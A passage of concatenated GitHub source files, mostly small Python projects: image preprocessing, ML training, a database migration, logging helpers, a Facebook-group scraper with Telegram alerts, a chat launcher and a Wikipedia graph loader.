directory.\n\nWritten by Badr Belhiti\n\"\"\"\n\n# Imports\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom PIL import Image\nfrom skimage import filters\nfrom matplotlib import cm\n\n# Specify working directories\ninput_directory = \"../data/CelebA/mini_celeba/\"\noutput_directory = \"../data/CelebA/training_edges/large/data/\"\n\n# Initialize directories\nceleba = os.listdir(os.fsencode(input_directory))\n\nif not os.path.exists(output_directory):\n os.makedirs(output_directory)\n\n\ndef edges_grayscale_rgb(file_path):\n \"\"\"\n Function that takes in path to CelebA image and outputs corresponding edges, grayscale, and rgb representation\n file_path - Path to raw CelebA image\n \"\"\"\n\n # Read in image as RGB array\n rgb = np.array(Image.open(file_path))\n\n # Convert RGB array into grayscale array\n grayscale = rgb[:, :, 0]\n\n # Extract edges from grayscale array\n edges = filters.sobel(grayscale)\n\n return (edges, grayscale, rgb)\n\n\n# Specify crop and downsampling parameters\nceleba_crop = (0, 20, 178, 218 - 20)\nresolution = (128, 128)\n\n\ndef build_edges(count=0):\n \"\"\"\n Function that generates 'count' number of samples to generate. If count=0, build entire dataset\n \"\"\"\n built = 0\n\n # Iterate through each sample\n for file in celeba:\n filename = os.fsdecode(file)\n\n # First get edges construction\n edges, grayscale, rgb = edges_grayscale_rgb(input_directory + filename)\n edges = Image.fromarray(edges)\n\n # Then scale down edges to desired dimensions\n\n # Crop image to square to maintain aspect ratio\n cropped = edges.crop(celeba_crop)\n\n # Resample to desired resolution\n resampled = cropped.resize(resolution)\n\n plt.imsave(\n output_directory + str(built) + \".jpg\", np.asarray(resampled), cmap=\"gray\"\n )\n\n built += 1\n\n if built % 1000 == 0:\n print(\"Generated %s images\" % built)\n\n # If 'count' is 0, then whole dataset will be generated.\n if not count == 0 and built == count:\n break\n\n\n# Run code\nbuild_edges()\n","repo_name":"BadrBelhiti/GansResearch","sub_path":"StackGAN/scripts/edges_builder.py","file_name":"edges_builder.py","file_ext":"py","file_size_in_byte":2215,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"14257396587","text":"import pandas as pd\nimport tensorflow.compat.v1 as tf\nimport logging\nimport model\n\ndef train_model():\n # Show training progress\n logging.getLogger().setLevel(logging.INFO)\n\n linear_regressor = model.build_model()\n train_features = pd.read_csv(\"train_features.csv\")\n train_prices = pd.read_csv(\"train_price.csv\")\n\n training_input_fn = tf.estimator.inputs.pandas_input_fn(x=train_features,\n y=train_prices[\"price\"],\n batch_size=128,\n shuffle=True,\n num_epochs=1000)\n linear_regressor.train(input_fn = training_input_fn)\n\ntrain_model()","repo_name":"airthingy/tensorflow-class-regression","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"71369461262","text":"\"\"\"Changing the branches column to JSONB type\n\nRevision ID: e35239d06d44\nRevises: a398e7225012\nCreate Date: 2023-08-11 01:49:16.820526\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = \"e35239d06d44\"\ndown_revision = \"a398e7225012\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n with op.batch_alter_table(\"repo_url\", schema=None) as batch_op:\n batch_op.alter_column(\n \"branches\",\n existing_type=sa.Text(),\n type_=postgresql.JSONB(),\n existing_nullable=True,\n postgresql_using=\"branches::jsonb\",\n )\n\n\ndef downgrade():\n with op.batch_alter_table(\"repo_url\", schema=None) as batch_op:\n batch_op.alter_column(\n \"branches\",\n existing_type=postgresql.JSONB(),\n type_=sa.Text(),\n existing_nullable=True,\n postgresql_using=\"branches::text\",\n )\n","repo_name":"datalad/datalad-registry","sub_path":"migrations/versions/e35239d06d44_changing_the_branches_column_to_jsonb_.py","file_name":"e35239d06d44_changing_the_branches_column_to_jsonb_.py","file_ext":"py","file_size_in_byte":987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"3515540635","text":"from typing import Union\n\nimport torch\n\nfrom ..image import ImageBatch\nfrom ..objectives import Objective\nfrom ..transforms.presets import drawTFMS, trainTFMS\nfrom .LivePreview import RendererLivePreview\nfrom .ProgressBar import RendererProgressBar\nfrom .Renderer import Renderer\nfrom .VideoExporter import RendererVideoExporter\n\n\nclass RendererBuilder:\n def __init__(self):\n self._imageBatch = None\n self._model = None\n self._optimizer = None\n self._objective = None\n self._trainTFMS = trainTFMS()\n self._drawTFMS = drawTFMS()\n self._videoFileName = None\n self._fps = None\n self._progressBar = True\n self._livePreview = False\n self._numberSkipsBetweenUpdates = None\n\n def imageBatch(self, imageBatch: ImageBatch):\n if not isinstance(imageBatch, ImageBatch):\n raise TypeError()\n self._imageBatch = imageBatch\n return self\n\n def model(self, model: torch.nn.Module):\n if not isinstance(model, torch.nn.Module):\n raise TypeError()\n self._model = model\n return self\n\n def optimizer(self, optimizer: torch.optim.Optimizer):\n if not isinstance(optimizer, torch.optim.Optimizer):\n raise TypeError()\n self._optimizer = optimizer\n return self\n\n def objective(self, objective: Objective):\n if not isinstance(objective, Objective):\n raise TypeError()\n self._objective = objective\n return self\n\n def trainTFMS(self, transforms: torch.nn.Module):\n if not isinstance(transforms, torch.nn.Module):\n raise TypeError()\n self._trainTFMS = transforms\n return self\n\n def drawTFMS(self, transforms: torch.nn.Module):\n if not isinstance(transforms, torch.nn.Module):\n raise TypeError()\n self._drawTFMS = transforms\n return self\n\n def exportVideo(self, filename: Union[None, str], fps=60):\n if not (isinstance(filename, (str, None))):\n raise TypeError()\n if not isinstance(fps, int):\n raise TypeError()\n elif fps < 1:\n raise ValueError()\n self._videoFileName = filename\n self._fps = fps\n return self\n\n def withProgressBar(self, progressBar: bool = True):\n if not isinstance(progressBar, bool):\n raise TypeError()\n self._progressBar = progressBar\n return self\n\n def withLivePreview(self, livePreview: bool = True, numberSkipsBetweenUpdates: int = 50):\n if not isinstance(livePreview, bool):\n raise TypeError()\n if not isinstance(numberSkipsBetweenUpdates, int):\n raise TypeError()\n elif numberSkipsBetweenUpdates < 0:\n raise ValueError()\n self ._livePreview = livePreview\n self._numberSkipsBetweenUpdates = numberSkipsBetweenUpdates\n return self\n\n def _assertAllRequiredAttributesPresent(self):\n if self._imageBatch is None:\n raise AttributeError()\n if self._model is None:\n raise AttributeError()\n if self._objective is None:\n raise AttributeError()\n\n def _get_optimizer(self):\n if self._optimizer is None:\n return torch.optim.Adam([self._imageBatch.data],\n lr=0.05,\n eps=1e-7,\n weight_decay=0.0)\n else:\n return self._optimizer\n\n def _createRenderer(self):\n return Renderer(self._imageBatch,\n self._model,\n self._get_optimizer(),\n self._objective,\n self._trainTFMS,\n self._drawTFMS)\n\n def _applyOptionalAttributes(self, renderer: Renderer):\n if self._videoFileName is not None:\n renderer.add_observer(\n RendererVideoExporter(self._videoFileName,\n self._imageBatch.width,\n self._imageBatch.height,\n self._fps))\n if self._progressBar:\n renderer.add_observer(RendererProgressBar())\n if self._livePreview:\n renderer.add_observer(RendererLivePreview(\n self._numberSkipsBetweenUpdates))\n\n def build(self) -> Renderer:\n self._assertAllRequiredAttributesPresent()\n renderer = self._createRenderer()\n self._applyOptionalAttributes(renderer)\n return renderer\n","repo_name":"HealthML/lucid-torch","sub_path":"lucid_torch/renderer/RendererBuilder.py","file_name":"RendererBuilder.py","file_ext":"py","file_size_in_byte":4562,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"1466188425","text":"# code inspired by from http://www.steinm.com/blog/motion-detection-webcam-python-opencv-differential-images/\n\nimport cv2\nimport numpy\n\ndef diffImg (t0, t1, t2):\n d1 = cv2.absdiff(t2, t1)\n d2 = cv2.absdiff(t1, t0)\n return cv2.bitwise_and(d1, d2)\n\ndef main ():\n cam = cv2.VideoCapture(0)\n winName = \"Movement Indicator\"\n cv2.namedWindow(winName, cv2.WINDOW_NORMAL)\n \n # Read three images first:\n t_minus = cv2.cvtColor(cam.read()[1], cv2.COLOR_RGB2GRAY)\n s, norm = cam.read()\n t = cv2.cvtColor(norm, cv2.COLOR_RGB2GRAY)\n t_plus = cv2.cvtColor(cam.read()[1], cv2.COLOR_RGB2GRAY)\n\n while True:\n blk = cv2.flip(diffImg(t_minus, t, t_plus),1)\n blk = cv2.cvtColor(blk,cv2.COLOR_GRAY2BGR)\n norm = cv2.flip(norm, 1)\n \n both = numpy.concatenate((blk, norm))\n small = cv2.resize(both, (0,0), fx=0.5, fy=0.5) \n\n cv2.imshow( winName, small)\n # Read next image\n t_minus = t\n t = t_plus\n s, norm = cam.read()\n t_plus = cv2.cvtColor(norm, cv2.COLOR_RGB2GRAY)\n\n key = cv2.waitKey(10)\n\n if key == 27:\n cv2.destroyWindow(winName)\n break\n\n print (\"Goodbye\")\n return 0\n\nif __name__ == \"__main__\" :\n main()\n\n","repo_name":"rgalbiati/DevRoboticsSaliency","sub_path":"motion_tracking.py","file_name":"motion_tracking.py","file_ext":"py","file_size_in_byte":1455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"8793581497","text":"from sklearn.feature_extraction.text import TfidfVectorizer, CountVectorizer\nfrom sklearn.datasets import fetch_20newsgroups\nfrom sklearn.decomposition import NMF, LatentDirichletAllocation\nimport sys\n\nno_features = 1000\nno_top_words = 10\nno_topics = 20\ndataset = fetch_20newsgroups(shuffle=True, random_state=1, remove=('headers', 'footers', 'quotes')) # get the datset from the sklearn.datastes\n\n#This function is used to print the output\ndef display_topics(model, feature_names, no_top_words):\n for topic_idx, topic in enumerate(model.components_):\n print(\"Topic %d:\" % (topic_idx))\n print(\" \".join([feature_names[i]\n for i in topic.argsort()[:-no_top_words - 1:-1]]))\n\n\ndocuments = dataset.data # Create document from dataset\n\n#tf-idf for NMF\ntfidf_vectorizer = TfidfVectorizer(max_df=0.95, min_df=2, max_features=no_features, stop_words='english')\ntfidf = tfidf_vectorizer.fit_transform(documents)\ntfidf_feature_names = tfidf_vectorizer.get_feature_names()\n\n# LDA can only use raw term counts for LDA because it is a probabilistic graphical model\ntf_vectorizer = CountVectorizer(max_df=0.95, min_df=2, max_features=no_features, stop_words='english')\ntf = tf_vectorizer.fit_transform(documents)\ntf_feature_names = tf_vectorizer.get_feature_names()\n\n\noutput = None\nif(sys.argv[1]=='nmf'):\n output = NMF(n_components=no_topics, random_state=1, alpha=.1, l1_ratio=.5, init='nndsvd').fit(tfidf)\n display_topics(output, tf_feature_names, no_top_words)\nif(sys.argv[1]=='lda'):\n output = LatentDirichletAllocation(n_topics=no_topics, max_iter=5, learning_method='online', learning_offset=50.,random_state=0).fit(tf)\n display_topics(output, tf_feature_names, no_top_words)\nelse:\n print(\"try lda or nmf !\")\n","repo_name":"vedic-partap/Topic-Modelling","sub_path":"topic-model.py","file_name":"topic-model.py","file_ext":"py","file_size_in_byte":1757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"26977957293","text":"import os\nimport torch\nimport re\n\nimport json\nimport copy\n\nclass InputFeatures(object):\n \"\"\"\n A single set of features of data.\n Args:\n input_ids: Indices of input sequence tokens in the vocabulary.\n attention_mask: Mask to avoid performing attention on padding token indices.\n Mask values selected in ``[0, 1]``:\n Usually ``1`` for tokens that are NOT MASKED, ``0`` for MASKED (padded) tokens.\n token_type_ids: Segment token indices to indicate first and second portions of the inputs.\n label: Label corresponding to the input\n \"\"\"\n\n def __init__(self, input_ids, attention_mask=None, token_type_ids=None):\n self.input_ids = input_ids\n self.attention_mask = attention_mask\n self.token_type_ids = token_type_ids\n\n def __repr__(self):\n return str(self.to_json_string())\n\n def to_dict(self):\n \"\"\"Serializes this instance to a Python dictionary.\"\"\"\n output = copy.deepcopy(self.__dict__)\n return output\n\n def to_json_string(self):\n \"\"\"Serializes this instance to a JSON string.\"\"\"\n return json.dumps(self.to_dict(), indent=2, sort_keys=True) + \"\\n\"\n\ndef ReadFile(FileName):\n FileName = \"../Proposal/preprocess/\" + str(FileName)\n\n text=[]\n ans=[]\n contents=[]\n with open(FileName, 'r') as InputFile:\n content = InputFile.read().split(\"\\n\")\n for index, Line in enumerate(content):\n if Line == \"Story\":\n text = re.split('[.?]', content[index+1])\n\n elif Line == \"Answer\":\n ans = content[index+1].split(\".\")\n contents.append([text, ans])\n contents.append([text, ans])\n\n return contents\n\ndef convert_examples_to_features(\n examples,\n tokenizer,\n max_length=512,\n pad_on_left=False,\n pad_token=0,\n pad_token_segment_id=0,\n mask_padding_with_zero=True,\n):\n features=[]\n for pair in examples :\n for sen in pair[0]:\n inputs = tokenizer.encode_plus(sen, pair[1], add_special_tokens=True, max_length=max_length,)\n input_ids, token_type_ids = inputs[\"input_ids\"], inputs[\"token_type_ids\"]\n \n attention_mask = [1 if mask_padding_with_zero else 0] * len(input_ids)\n padding_length = max_length - len(input_ids)\n\n if pad_on_left:\n input_ids = ([pad_token] * padding_length) + input_ids\n attention_mask = ([0 if mask_padding_with_zero else 1] * padding_length) + attention_mask\n token_type_ids = ([pad_token_segment_id] * padding_length) + token_type_ids\n else:\n input_ids = input_ids + ([pad_token] * padding_length)\n attention_mask = attention_mask + ([0 if mask_padding_with_zero else 1] * padding_length)\n token_type_ids = token_type_ids + ([pad_token_segment_id] * padding_length)\n \n assert len(input_ids) == max_length, \"Error with input length {} vs {}\".format(len(input_ids), max_length)\n assert len(attention_mask) == max_length, \"Error with input length {} vs {}\".format(len(attention_mask), max_length)\n assert len(token_type_ids) == max_length, \"Error with input length {} vs {}\".format(len(token_type_ids), max_length)\n\n features.append(\n InputFeatures(\n input_ids=input_ids, attention_mask=attention_mask, token_type_ids=token_type_ids\n ))\n return features\n\nif __name__ == \"__main__\":\n print(\"hu\")\n","repo_name":"hsiaoyun0/st","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"43184080323","text":"def rowReduce(A,b):\n '''\n Row reduce a matrix that is assumed to be in good form, aka no pivoting strategies.\n :param A: The Matrix to be reduced\n :param b: The b vector in Ax = b\n :return: A tuple containing both A and b.\n '''\n numRows = len(A)\n numColumns = len(A[0])\n for k in range(numRows - 1):\n for i in range(k + 1, numColumns):\n factor = A[i][k] / A[k][k]\n for j in range(k, numColumns):\n A[i][j] = A[i][j] - factor * A[k][j]\n b[i] = b[i] - factor * b[k]\n return A,b\n\n\nif __name__ == '__main__':\n testMatrix = [\n [1, -3, 1],\n [2, -8, 8],\n [-6, 3, -15]\n ]\n testB = [4,-2,9]\n\n A,b = rowReduce(testMatrix,testB)\n for row in A:\n print(row)\n print(b)\n","repo_name":"gebisthefallenhero/math4610","sub_path":"task_sheets/sheet10/RowReduce.py","file_name":"RowReduce.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"24936104864","text":"from __future__ import unicode_literals\n\nfrom leapcast.services.leap_factory import LEAPfactory\n\n\nclass ChromeCast(LEAPfactory):\n url = \"https://www.gstatic.com/cv/receiver.html?{{ query }}\"\n\n\nclass YouTube(LEAPfactory):\n url = \"https://www.youtube.com/tv?{{ query }}\"\n\n\nclass PlayMovies(LEAPfactory):\n url = \"https://play.google.com/video/avi/eureka?{{ query }}\"\n supported_protocols = ['play-movies', 'ramp']\n\n\nclass GoogleMusic(LEAPfactory):\n url = \"https://play.google.com/music/cast/player\"\n\n\nclass GoogleCastSampleApp(LEAPfactory):\n url = \"http://anzymrcvr.appspot.com/receiver/anzymrcvr.html\"\n\n\nclass GoogleCastPlayer(LEAPfactory):\n url = \"https://www.gstatic.com/eureka/html/gcp.html\"\n\n\nclass Fling(LEAPfactory):\n url = \"{{ query }}\"\n\n\nclass Pandora_App(LEAPfactory):\n url = \"https://tv.pandora.com/cast?{{ query }}\"\n\n\nclass TicTacToe(LEAPfactory):\n url = \"http://www.gstatic.com/eureka/sample/tictactoe/tictactoe.html\"\n supported_protocols = ['com.google.chromecast.demo.tictactoe']\n","repo_name":"dz0ny/leapcast","sub_path":"leapcast/apps/default.py","file_name":"default.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","stars":1404,"dataset":"github-code","pt":"47"} +{"seq_id":"69982740303","text":"from fastapi import APIRouter\nimport numpy as np\n\nrouter = APIRouter()\n\n\n@router.get('')\ndef hello_world() -> dict:\n return {'msg': 'Hello, World!'}\n\n@router.get('/multiply_matrixcs')\ndef multiply_matrixcs() -> dict:\n matrix_a = np.random.rand(10, 10).tolist()\n matrix_b = np.random.rand(10, 10).tolist()\n product = np.matmul(matrix_a, matrix_b).tolist()\n return {'matrix_a': matrix_a, 'matrix_b': matrix_b, 'product': product}\n","repo_name":"danil2205/Lab3_MTRPZ","sub_path":"python/spaceship/routers/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"20206713559","text":"import os\nimport sys\nfrom PySide6.QtGui import QIcon\nfrom PySide6.QtWidgets import QApplication, QMainWindow, QStyleFactory\nfrom ui_code.ui_img_transoformer import Ui_MainWindow # 引入主UI\nfrom logic_code.img_rename import ThwbWindow # 引入替换文本UI\nfrom logic_code.img_quality import QtWindow\nfrom logic_code.img_dup_multi import DupWindow\nfrom logic_code.img_scale import ScaleWindow\n\n\nclass MainWindow(QMainWindow, Ui_MainWindow): # 主窗口\n def __init__(self):\n super(MainWindow, self).__init__()\n self.ScaleWindow = None\n self.DupWindow = None\n self.QualityWindow = None\n self.RenameWindow = None\n self.setupUi(self)\n if 'macOS' in QStyleFactory.keys():\n QApplication.setStyle(QStyleFactory.create('macos'))\n else:\n QApplication.setStyle(QStyleFactory.create('Fusion'))\n self.renameButton.clicked.connect(self.rename)\n self.sizeButton.clicked.connect(self.quality)\n self.dupButton.clicked.connect(self.dup)\n self.scaleButton.clicked.connect(self.scale)\n\n def rename(self):\n self.RenameWindow = ThwbWindow()\n self.RenameWindow.show()\n\n def quality(self):\n self.QualityWindow = QtWindow()\n self.QualityWindow.show()\n\n def dup(self):\n self.DupWindow = DupWindow()\n self.DupWindow.show()\n\n def scale(self):\n self.ScaleWindow = ScaleWindow()\n self.ScaleWindow.show()\n\n\nif __name__ == '__main__':\n app = QApplication([])\n app.setWindowIcon(QIcon(os.path.join(os.getcwd(), 'images/icon.png')))\n MainWindow = MainWindow()\n MainWindow.show()\n sys.exit(app.exec())\n","repo_name":"LeeeSe/img_transformer","sub_path":"img_transformer.py","file_name":"img_transformer.py","file_ext":"py","file_size_in_byte":1667,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"43212701778","text":"#\n# @lc app=leetcode.cn id=748 lang=python3\n#\n# [748] 最短补全词\n#\n\n# @lc code=start\nclass Solution:\n def shortestCompletingWord(self, licensePlate: str, words: List[str]) -> str:\n licensePlate = licensePlate.lower()\n list1 = [\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"z\"] \n hash1 = {}\n for i in licensePlate:\n if i in list1:\n hash1[i] = hash1.get(i, 0) + 1\n hash2 = {}\n res = []\n for i in words:\n for j, k in hash1.items():\n #print(i.count(j), j , k)\n if i.count(j) < k:\n break\n else:\n res.append(i)\n if res == []:\n return None\n #print(res)\n minlen = min(list(map(len, res)))\n for i in res:\n if len(i) == minlen:\n return i\n# @lc code=end\n","repo_name":"westqzy/leetcodes","sub_path":"748.最短补全词.py","file_name":"748.最短补全词.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"41852382296","text":"from spy_glass.scrape.facebook_page_scrape import PageScrape\nfrom spy_glass.config_default import config_default\nfrom spy_glass.lang_analysis.lang_chat import Chat\nfrom spy_glass.telegram.telegram_bot import MessageBot\nfrom spy_glass.telegram.messages import message_real_estate\nfrom spy_glass.utils.log_manager import LogManager\n\ncredentials = (config_default['username'], config_default['password'])\npage_scraper = PageScrape(credentials[0], credentials[1])\npage_scraper.delete_old_scraped()\npage_scraper.scrape_groups(config_default['group_list'], post_count=10)\nscraped_df = page_scraper.load_scraped_data()\nlog_manager = LogManager()\nfresh_scraped_df = log_manager.filter_df_for_telegram_message(scraped_df)\nchat = Chat(config_default['template_prompt'], config_default['openai_api_key'])\nlang_df = chat.add_chat_column(fresh_scraped_df, config_default['lang_col'])\nmessage_lang_df = lang_df[lang_df[config_default['lang_col']]]\n\nbot = MessageBot(config_default['bot_token'], config_default['chat_id'], message_real_estate)\nbot.send_message_for_df_rows(message_lang_df, config_default['message_col'])\nlog_manager.update_log_file(message_lang_df)\nlog_manager.update_log_history_file(message_lang_df)\n","repo_name":"medast/spy_glass","sub_path":"spy_glass/runners/runner_multiple_groups.py","file_name":"runner_multiple_groups.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"72857691021","text":"# coding=utf-8\n\nimport ConfigParser\n\n'''\ncf = ConfigParser.ConfigParser()\n\ncf.read('test.conf')\n\nsecs = cf.sections()\n\nprint('sections:', secs, type(secs))\n\nopts = cf.options('db')\n\nprint('options:', opts, type(opts))\n\nkvs = cf.items('db')\n\nprint('db:', kvs, type(kvs))\n\n#遍历字典\nfor k, v in kvs:\n print('{k}:{v}'.format(k=k, v=v))\n\n#read by type\ndb_host = cf.get('db', 'db_host')\ndb_user = cf.get('db', 'db_user')\ndb_port = cf.get('db', 'db_port')\ndb_pass = cf.get('db', 'db_pass')\n\nprint(db_host)\nprint(db_user)\nprint(db_port)\nprint(db_pass)\n\n#read int\nthreads = cf.getint(\"concurrent\", \"thread\")\nprocessors = cf.getint(\"concurrent\", \"processor\")\n\nprint('db_host:', db_host)\nprint('db_user:', db_user)\nprint('db_port:', db_port)\nprint('db_pass:', db_pass)\nprint('db_threads:', threads)\nprint('db_processors:', processors)\n'''\n\nclass ConfigReader:\n\n def read(self):\n \"\"\"获取数据库配置文件中的连接信息\"\"\"\n cf = ConfigParser.ConfigParser()\n cf.read('/Users/fulishang/development/python/python_demos/config_for_test/test.conf')\n return cf\n\nif __name__ == '__main__':\n configReader = ConfigReader()\n configs = configReader.read()\n print(configs, type(configs))\n db_schema = configs.get('db','db_schema')\n print(db_schema)\n\n","repo_name":"lishang08/python_demos","sub_path":"file_handler/ConfigReader.py","file_name":"ConfigReader.py","file_ext":"py","file_size_in_byte":1289,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"25670493695","text":"import logging\nimport time\nimport os\nimport types\n\nCUR_TIME = time.strftime(\"%Y-%m-%d_%H-%M-%S\")\n\nlog_dir = \"logs\"\nif not os.path.isdir(log_dir):\n os.mkdir(log_dir)\nlog_file = os.path.join(log_dir, CUR_TIME + \".log\")\n\n# please check if log_dir exists before call this function !!!\n\n\ndef set_logging(level=logging.INFO,\n stream=False,\n fileh=False,\n filename=\"log.txt\"):\n \"\"\"set basic logging configurations (root logger).\n args:\n stream (bool): whether print log to console.\n fileh (bool): whether write log to file.\n filename (str): the path of log file.\n return:\n configued root logger.\n \"\"\"\n handlers = []\n level = level\n log_format = '%(asctime)s: %(message)s'\n\n if stream:\n handlers.append(logging.StreamHandler())\n if fileh:\n handlers.append(logging.FileHandler(filename))\n logging.basicConfig(format=log_format, handlers=handlers, level=level)\n return logging.getLogger()\n\n\ndef set_logger(name, stream=False, fileh=False, filename=\"example.log\"):\n \"\"\"set costumized logging configurations.\n args:\n stream (bool): whether print log to console.\n fileh (bool): whether write log to file.\n filename (str): the path of log file.\n return:\n configued logger.\n \"\"\"\n # create logger with 'spam_application'\n logger = logging.getLogger(name)\n logger.setLevel(logging.DEBUG)\n # create formatter and add it to the handlers\n formatter = logging.Formatter(\n '%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n # create file handler which logs even debug messages\n if fileh:\n fh = logging.FileHandler(filename)\n fh.setLevel(logging.DEBUG)\n fh.setFormatter(formatter)\n logger.addHandler(fh)\n # create console handler with a higher log level\n if stream:\n ch = logging.StreamHandler()\n ch.setLevel(logging.DEBUG)\n ch.setFormatter(formatter)\n logger.addHandler(ch)\n return logger\n\ndef log_newline(self, how_many_lines=1):\n \"\"\"swith handler to blank line hander.\n any better way to re-arrange this function???\n \"\"\"\n if hasattr(self, 'fh'):\n # Switch handler, output a blank line\n self.removeHandler(self.fh)\n self.addHandler(self.fh_blank)\n if hasattr(self, 'sh'):\n # Switch handler, output a blank line\n self.removeHandler(self.sh)\n self.addHandler(self.sh_blank)\n if hasattr(self, 'fh') or hasattr(self, 'sh'):\n for i in range(how_many_lines):\n self.info('')\n\n # Switch back\n if hasattr(self, 'fh'):\n self.removeHandler(self.fh_blank)\n self.addHandler(self.fh)\n if hasattr(self, 'sh'):\n self.removeHandler(self.sh_blank)\n self.addHandler(self.sh)\n\ndef create_logger(name=None, stream=False, fileh=False,\n filename='log.txt',\n level=logging.DEBUG,\n propagate=False):\n # create logger with hierachical name, a.b.c\n logger = logging.getLogger(name)\n logger.setLevel(level)\n logger.propagate = propagate\n # create formatter and add it to the handlers\n # formatter = logging.Formatter(\n # '%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n formatter = logging.Formatter(\n '%(asctime)s: %(message)s')\n\n # create file handler which logs even debug messages\n if fileh:\n fh = logging.FileHandler(filename)\n fh.setLevel(level)\n fh.setFormatter(formatter)\n logger.fh = fh\n logger.addHandler(fh)\n\n # Create a \"blank line\" handler\n fh_blank = logging.FileHandler(filename)\n fh_blank.setLevel(level)\n fh_blank.setFormatter(logging.Formatter(fmt=''))\n logger.fh_blank = fh_blank\n\n # create console handler with a higher log level\n if stream:\n sh = logging.StreamHandler()\n sh.setLevel(level)\n sh.setFormatter(formatter)\n logger.sh = sh\n logger.addHandler(sh)\n\n # Create a \"blank line\" handler\n sh_blank = logging.StreamHandler()\n sh_blank.setLevel(level)\n sh_blank.setFormatter(logging.Formatter(fmt=''))\n logger.sh_blank = sh_blank\n\n # add a method to logger object\n logger.newline = types.MethodType(log_newline, logger)\n return logger\n\nset_logging(stream=True)\nl = set_logging(level=20, stream=True)\nl.debug('This message should appear on the console')\n\nset_logging(stream=True)\nlogging.debug('This message should appear on the console')\nlogging.info('So should this')\nlogging.warning('And this, too')\n\nlogger = set_logger(\"log_test\", stream=True)\nlogger.info(\"hahahah\")\n\n\nlogger = create_logger(name=\"test1\", stream=True)\nlogger.info('Start reading database')\nlogger.newline(1)\nlogger.info('Updating records ...')\nlogger.newline(2)\nlogger.info('Finish updating records')\n","repo_name":"TrellixVulnTeam/misc_JDN7","sub_path":"py_util/logs.py","file_name":"logs.py","file_ext":"py","file_size_in_byte":4878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"10215816847","text":"from tkinter import *\nfrom socket import *\nimport thrserv\n#Initiating Socket\ndef con_main():\n hostx=hostname.get()\n portx=int(port.get())\n aliasx=alias.get()\n root.destroy()\n thrserv.main_f(hostx,portx,aliasx) \n#GUI_Devlopment \ndef mainf():\n global root\n root=Tk()\n root.title(\"Connector\")\n root.geometry(\"250x190\")\n global port\n global alias\n global hostname\n port=StringVar(root)\n alias=StringVar(root)\n \n hostname=StringVar(root)\n host_label=Label(root,text=\"Enter Your Net IP :\")\n host_entry=Entry(root,textvariable=hostname)\n \n port_label=Label(root,text=\"Enter Port :\")\n port_entry=Entry(root,textvariable=port)\n alias_label=Label(root,text=\"Enter Your Alias :\")\n alias_entry=Entry(root,textvariable=alias)\n \n main_button=Button(root,text=\"Start\",command=con_main)\n\n#Gridding\n \n host_label.grid(row=0,column=0,pady=5,padx=5,sticky=W)\n host_entry.grid(row=0,column=1,pady=5)\n \n port_label.grid(row=1,column=0,pady=5,padx=5,sticky=W)\n port_entry.grid(row=1,column=1,pady=5)\n alias_label.grid(row=2,column=0,pady=5,padx=5,sticky=W)\n alias_entry.grid(row=2,column=1,pady=5)\n \n main_button.grid(row=3,column=1,pady=4,sticky=W)\n root.mainloop()\n\n","repo_name":"aryan27x/Local_Network_Chat_Python","sub_path":"crs.py","file_name":"crs.py","file_ext":"py","file_size_in_byte":1258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"28576769549","text":"import sys\nimport collections\n\nclass Wikipedia:\n\n # Initialize the graph of pages.\n def __init__(self, pages_file, links_file):\n\n # A mapping from a page ID (integer) to the page title.\n # For example, self.titles[1234] returns the title of the page whose\n # ID is 1234.\n self.titles = {}\n\n # A set of page links.\n # For example, self.links[1234] returns an array of page IDs linked\n # from the page whose ID is 1234.\n self.links = {}\n\n # Read the pages file into self.titles.\n with open(pages_file) as file:\n for line in file:\n (id, title) = line.rstrip().split(\" \")\n id = int(id)\n assert not id in self.titles, id\n self.titles[id] = title\n self.links[id] = []\n print(\"Finished reading %s\" % pages_file)\n\n # Read the links file into self.links.\n with open(links_file) as file:\n for line in file:\n (src, dst) = line.rstrip().split(\" \")\n (src, dst) = (int(src), int(dst))\n assert src in self.titles, src\n assert dst in self.titles, dst\n self.links[src].append(dst)\n print(\"Finished reading %s\" % links_file)\n print()\n\n\n # Find the longest titles. This is not related to a graph algorithm at all\n # though :)\n def 